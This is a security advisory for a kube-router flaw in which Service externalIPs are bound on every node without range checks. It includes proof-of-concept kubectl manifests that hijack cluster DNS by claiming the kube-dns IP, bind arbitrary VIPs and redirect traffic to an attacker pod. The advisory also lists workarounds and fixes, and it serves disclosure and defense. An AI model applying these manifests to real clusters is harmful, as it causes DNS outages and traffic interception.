Vulnerable Code Locations

File: pkg/controllers/proxy/network_services_controller.go

Lines 866, 898 - Unconditional externalIPs copy:

externalIPs: make([]string, len(svc.Spec.ExternalIPs)),
copy(svcInfo.externalIPs, svc.Spec.ExternalIPs)  // No range check

Lines 900-904 - Unconditional LoadBalancer IP trust:

for _, lbIngress := range svc.Status.LoadBalancer.Ingress {
    if len(lbIngress.IP) > 0 {
        svcInfo.loadBalancerIPs = append(svcInfo.loadBalancerIPs, lbIngress.IP)
    }
}

File: pkg/controllers/proxy/utils.go

Lines 425-461 - getAllExternalIPs() merges IPs without range validation:

func getAllExternalIPs(svc *serviceInfo, includeLBIPs bool) map[v1.IPFamily][]net.IP {
    // Only performs IP parsing and deduplication, no range checking
}

File: pkg/controllers/proxy/service_endpoints_sync.go

Lines 460-464 - Binds arbitrary IPs to kube-dummy-if via netlink:

err = nsc.ln.ipAddrAdd(dummyVipInterface, externalIP.String(), nodeIP.String(), true)

File: pkg/controllers/netpol/network_policy_controller.go

Lines 960-967 - --service-external-ip-range is ONLY referenced here:

for _, externalIPRange := range config.ExternalIPCIDRs {
    _, ipnet, err := net.ParseCIDR(externalIPRange)
    npc.serviceExternalIPRanges = append(npc.serviceExternalIPRanges, *ipnet)
}
// The proxy module never references ExternalIPCIDRs

Root Cause

The proxy module was implemented without externalIP range validation. The --service-external-ip-range parameter creates a gap between administrator expectations and actual enforcement: administrators may believe externalIPs are restricted to the configured range, but the proxy module (which actually configures IPVS and network interfaces) does not enforce this restriction.

This is consistent with the broader Kubernetes ecosystem. CVE-2020-8554 documents the same fundamental issue: the Kubernetes API allows Service.spec.externalIPs to be set by any user with Service create/update permissions, and service proxies program these IPs into the data plane without validation. The upstream project's recommended mitigation is API-level admission control (e.g., DenyServiceExternalIPs feature gate, or admission webhooks).

PoC

Environment Setup

# Kind cluster: 1 control-plane + 1 worker
cat > kind-config.yaml <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kube-router-test
networking:
  disableDefaultCNI: true
  kubeProxyMode: "none"
nodes:
- role: control-plane
- role: worker
EOF

kind create cluster --config kind-config.yaml
kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/v2.7.1/daemonset/kubeadm-kuberouter.yaml
kubectl -n kube-system wait --for=condition=ready pod -l k8s-app=kube-router --timeout=120s

# Create low-privileged attacker
kubectl create namespace attacker-ns
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: cicd-developer
  namespace: attacker-ns
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: attacker-ns
  name: service-creator
rules:
- apiGroups: [""]
  resources: ["services"]
  verbs: ["get", "list", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: service-creator-binding
  namespace: attacker-ns
subjects:
- kind: ServiceAccount
  name: cicd-developer
  namespace: attacker-ns
roleRef:
  kind: Role
  name: service-creator
  apiGroup: rbac.authorization.k8s.io
EOF

Exploitation

Scenario A: Arbitrary VIP Binding

kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: malicious-externalip
  namespace: attacker-ns
spec:
  selector: { app: non-existent }
  ports: [{ port: 80, targetPort: 80 }]
  externalIPs: ["192.168.100.50", "10.200.0.1", "172.16.0.99"]
EOF

Result: All 3 IPs appear on kube-dummy-if, IPVS rules, and LOCAL routing table on ALL cluster nodes. No validation, no warning, no audit log.

Scenario B: Cluster DNS Takedown (Single Command)

kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: dns-dos-svc
  namespace: attacker-ns
spec:
  selector: { app: non-existent-app }
  ports:
  - { name: dns-udp, port: 53, targetPort: 5353, protocol: UDP }
  - { name: dns-tcp, port: 53, targetPort: 5353, protocol: TCP }
  externalIPs: ["10.96.0.10"]
EOF

Before attack: kube-dns has 2 healthy real servers (CoreDNS pods). After attack: The legitimate CoreDNS endpoints are fully evicted from the IPVS virtual service via the activeServiceEndpointMap overwrite and stale-endpoint cleanup cycle. If the attacker's Service has a selector pointing to attacker-controlled pods, those pods become the sole real servers for 10.96.0.10:53 -- receiving 100% of cluster DNS traffic. If no matching pods exist, the virtual service has zero real servers and DNS queries blackhole. After deleting the attacker's Service: DNS immediately recovers.

Scenario C: --service-external-ip-range Bypass

With --service-external-ip-range=10.200.0.0/16 configured, 192.168.100.50 (outside the range) is still bound. The proxy module never checks this parameter.

Scenario D: Arbitrary VIP Binding With Attacker Backend

A user can bind an arbitrary IP as a VIP on all cluster nodes. For previously unused IPs, this creates a new IPVS virtual service directing traffic to the attacker's pods. For IPs that match an existing ClusterIP on the same port, the attacker's endpoints replace the legitimate endpoints entirely (see Scenario B for the mechanism).

kubectl -n attacker-ns run attacker-backend --image=nginx:alpine --port=80
kubectl -n attacker-ns exec attacker-backend -- sh -c 'echo "HIJACKED-BY-ATTACKER" > /usr/share/nginx/html/index.html'
kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: hijack-svc
  namespace: attacker-ns
spec:
  selector: { run: attacker-backend }
  ports: [{ port: 80, targetPort: 80 }]
  externalIPs: ["10.50.0.1"]
EOF

$ curl http://10.50.0.1/
HIJACKED-BY-ATTACKER

Impact

Confidentiality: None - No direct data leakage

Integrity: Low - An attacker can bind arbitrary VIPs on cluster nodes and direct traffic to attacker-controlled pods. When an externalIP matches an existing ClusterIP on the same port, the legitimate endpoints are fully replaced by the attacker's endpoints via the IPVS stale-endpoint cleanup cycle -- the attacker receives 100% of that traffic. However, this is bounded to specific (IP, protocol, port) tuples that the attacker explicitly targets, is immediately visible via kubectl get svc, and constitutes traffic redirection rather than transparent interception. This is consistent with the upstream Kubernetes assessment of CVE-2020-8554 (I:Low).

Availability: High - A single command can take down cluster DNS, affecting all pods' name resolution, service discovery, and control plane communication

Attack Scenarios

1. Cluster-wide DNS DoS / traffic co-opt: A user creates one Service with an externalIP matching the kube-dns ClusterIP on port 53. The legitimate CoreDNS endpoints are evicted and the attacker's pods receive all DNS queries cluster-wide.
2. Arbitrary VIP binding: A user binds unused IPs as VIPs on all cluster nodes, directing traffic to attacker-controlled pods
3. ClusterIP conflict exploitation: A user targets any existing ClusterIP:port combination to replace the legitimate service's endpoints with their own
4. Security configuration bypass: --service-external-ip-range is not enforced by the proxy module
5. Trust boundary violation: Namespace-scoped permissions affect all cluster nodes

Affected Versions

• All kube-router v2.x versions (including latest v2.7.1)
• buildServicesInfo() has never referenced ExternalIPCIDRs

Patched Versions

v2.8.0 and beyond

Workarounds

1. Enable DenyServiceExternalIPs Feature Gate: Add --feature-gates=DenyServiceExternalIPs=true to the API server
2. Deploy admission policy: Use Kyverno/OPA/ValidatingAdmissionPolicy to restrict Services with externalIPs
3. Restrict Service creation RBAC: Tighten RBAC to prevent low-privileged users from creating Services
4. Monitor Service changes: Enable Kubernetes audit logging for Service create/update operations
5. Apply BGP prefix filtering: If kube-router is configured to advertise externalIPs or ClusterIPs via BGP, configure BGP peers (routers, firewalls) to only accept announcements for expected prefix ranges. This prevents a malicious externalIP from being advertised to and routed by the broader network.

Mitigation

Recommended Permanent Fix

1. Proxy module should check --service-external-ip-range: Validate externalIPs against configured ranges in buildServicesInfo()
2. Default deny when unconfigured: When --service-external-ip-range is not set, reject all externalIPs
3. IP conflict detection: Check externalIPs against existing ClusterIPs and NodeIPs
4. Audit logging: Log all externalIP configuration changes

Credits

• @b0b0haha (Reporter)
• @j311yl0v3u (Reporter)